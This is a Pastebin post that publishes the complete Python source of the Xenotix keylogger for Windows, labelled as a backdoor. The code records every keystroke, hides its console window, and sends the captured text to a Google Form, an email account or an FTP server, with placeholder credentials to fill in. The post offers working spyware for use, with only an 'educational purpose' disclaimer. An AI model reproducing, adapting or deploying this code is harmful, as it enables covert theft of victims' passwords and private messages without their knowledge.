FlyFar

Backdoor.Python.Xenotix.a - Source Code

Jul 6th, 2023
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.96 KB | Cybersecurity | 0 0
  1. '''
  2. Xenotix Python Keylogger for Windows
  3. ====================================
  4. Coded By: Ajin Abraham <ajin25@gmail.com>
  5. Website: http://opensecurity.in/xenotix-python-keylogger-for-windows/
  6. GitHub: https://github.com/ajinabraham/Xenotix-Python-Keylogger
  7.  
  8. FEATURES
  9. ========
  10. 1.STORE LOGS LOCALLY
  11. 2.SEND LOGS TO GOOGLE FORMS
  12. 3.SEND LOGS TO EMAIL
  13. 4.SEND LOGS TO FTP
  14.  
  15. MINIMUM REQUIREMENTS
  16. ===================
  17. Python 2.7: http://www.python.org/getit/
  18. pyHook Module: http://sourceforge.net/projects/pyhook/
  19. pyrhoncom Module: http://sourceforge.net/projects/pywin32/
  20.  
  21. pyHook Module -
  22. Unofficial Windows Binaries for Python Extension Packages: http://www.lfd.uci.edu/~gohlke/pythonlibs/
  23.  
  24.  
  25. NOTE: YOU ARE FREE TO COPY,MODIFY,REUSE THE SOURCE CODE FOR EDUCATIONAL PURPOSE ONLY.
  26. '''
  27. try:
  28.     import pythoncom, pyHook
  29. except:
  30.     print "Please Install pythoncom and pyHook modules"
  31.     exit(0)
  32. import os
  33. import sys
  34. import threading
  35. import urllib,urllib2
  36. import smtplib
  37. import ftplib
  38. import datetime,time
  39. import win32event, win32api, winerror
  40.  
  41. #Disallowing Multiple Instance
  42. mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
  43. if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
  44.     mutex = None
  45.     print "Multiple Instance not Allowed"
  46.     exit(0)
  47. x=''
  48. data=''
  49. count=0
  50.  
  51. #Hide Console
  52. def hide():
  53.     import win32console,win32gui
  54.     window = win32console.GetConsoleWindow()
  55.     win32gui.ShowWindow(window,0)
  56.     return True
  57. def msg():
  58.     print """Xenotix Python Keylogger for Windows
  59. Coder: Ajin Abraham <ajin25@gmail.com>
  60. OPENSECURITY.IN
  61.  
  62. usage:xenotix_python_logger.py mode
  63. mode:
  64.     local: store the logs in a file [keylogs.txt]
  65.     remote: send the logs to a Google Form. You must specify the Form URL and Field Name in the script.
  66.     email: send the logs to an email. You must specify (SERVER,PORT,USERNAME,PASSWORD,TO).
  67.     ftp: upload logs file to an FTP account. You must specify (SERVER,USERNAME,PASSWORD,SSL OPTION,OUTPUT DIRECTORY).
  68.     """
  69.     return True
  70.  
  71. #Local Keylogger
  72. def local():
  73.     global data
  74.     if len(data)>100:
  75.         fp=open("keylogs.txt","a")
  76.         fp.write(data)
  77.         fp.close()
  78.         data=''
  79.     return True
  80.  
  81. #Remote Google Form logs post
  82. def remote():
  83.     global data
  84.     if len(data)>100:
  85.         url="https://docs.google.com/forms/d/xxxxxxxxxxxxxxxxxxxxxxxxxxxxx" #Specify Google Form URL here
  86.         klog={'entry.xxxxxxxxxxx':data} #Specify the Field Name here
  87.         try:
  88.             dataenc=urllib.urlencode(klog)
  89.             req=urllib2.Request(url,dataenc)
  90.             response=urllib2.urlopen(req)
  91.             data=''
  92.         except Exception as e:
  93.             print e
  94.     return True
  95.  
  96. #Email Logs
  97. class TimerClass(threading.Thread):
  98.     def __init__(self):
  99.         threading.Thread.__init__(self)
  100.         self.event = threading.Event()
  101.     def run(self):
  102.         while not self.event.is_set():
  103.             global data
  104.             if len(data)>100:
  105.                 ts = datetime.datetime.now()
  106.                 SERVER = "smtp.gmail.com" #Specify Server Here
  107.                 PORT = 587 #Specify Port Here
  108.                 USER="your_email@gmail.com"#Specify Username Here
  109.                 PASS="password_here"#Specify Password Here
  110.                 FROM = USER#From address is taken from username
  111.                 TO = ["to_address@gmail.com"] #Specify to address.Use comma if more than one to address is needed.
  112.                 SUBJECT = "Keylogger data: "+str(ts)
  113.                 MESSAGE = data
  114.                 message = """\
  115. From: %s
  116. To: %s
  117. Subject: %s
  118.  
  119. %s
  120. """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE)
  121.                 try:
  122.                     server = smtplib.SMTP()
  123.                     server.connect(SERVER,PORT)
  124.                     server.starttls()
  125.                     server.login(USER,PASS)
  126.                     server.sendmail(FROM, TO, message)
  127.                     data=''
  128.                     server.quit()
  129.                 except Exception as e:
  130.                     print e
  131.             self.event.wait(120)
  132.  
  133. #Upload logs to FTP account
  134. def ftp():
  135.     global data,count
  136.     if len(data)>100:
  137.         count+=1
  138.         FILENAME="logs-"+str(count)+".txt"
  139.         fp=open(FILENAME,"a")
  140.         fp.write(data)
  141.         fp.close()
  142.         data=''
  143.         try:
  144.             SERVER="ftp.xxxxxx.com" #Specify your FTP Server address
  145.             USERNAME="ftp_username" #Specify your FTP Username
  146.             PASSWORD="ftp_password" #Specify your FTP Password
  147.             SSL=0 #Set 1 for SSL and 0 for normal connection
  148.             OUTPUT_DIR="/" #Specify output directory here
  149.             if SSL==0:
  150.                 ft=ftplib.FTP(SERVER,USERNAME,PASSWORD)
  151.             elif SSL==1:
  152.                 ft=ftplib.FTP_TLS(SERVER,USERNAME,PASSWORD)
  153.             ft.cwd(OUTPUT_DIR)
  154.             fp=open(FILENAME,'rb')
  155.             cmd= 'STOR' +' '+FILENAME
  156.             ft.storbinary(cmd,fp)
  157.             ft.quit()
  158.             fp.close()
  159.             os.remove(FILENAME)
  160.         except Exception as e:
  161.             print e
  162.     return True
  163.  
  164. def main():
  165.     global x
  166.     if len(sys.argv)==1:
  167.         msg()
  168.         exit(0)
  169.     else:
  170.         if sys.argv[1]=="local":
  171.             x=1
  172.             hide()
  173.         elif sys.argv[1]=="remote":
  174.             x=2
  175.             hide()
  176.         elif sys.argv[1]=="email":
  177.             hide()
  178.             email=TimerClass()
  179.             email.start()
  180.         elif sys.argv[1]=="ftp":
  181.             x=4
  182.             hide()
  183.         else:
  184.             msg()
  185.             exit(0)
  186.     return True
  187. main()
  188.  
  189. def keypressed(event):
  190.     global x,data
  191.     if event.Ascii==13:
  192.         keys='<ENTER>'
  193.     elif event.Ascii==8:
  194.         keys='<BACK SPACE>'
  195.     elif event.Ascii==9:
  196.         keys='<TAB>'
  197.     else:
  198.         keys=chr(event.Ascii)
  199.     data=data+keys
  200.     if x==1:  
  201.         local()
  202.     elif x==2:
  203.         remote()
  204.     elif x==4:
  205.         ftp()
  206.  
  207. obj = pyHook.HookManager()
  208. obj.KeyDown = keypressed
  209. obj.HookKeyboard()
  210. pythoncom.PumpMessages()
Add Comment
Please, Sign In to add comment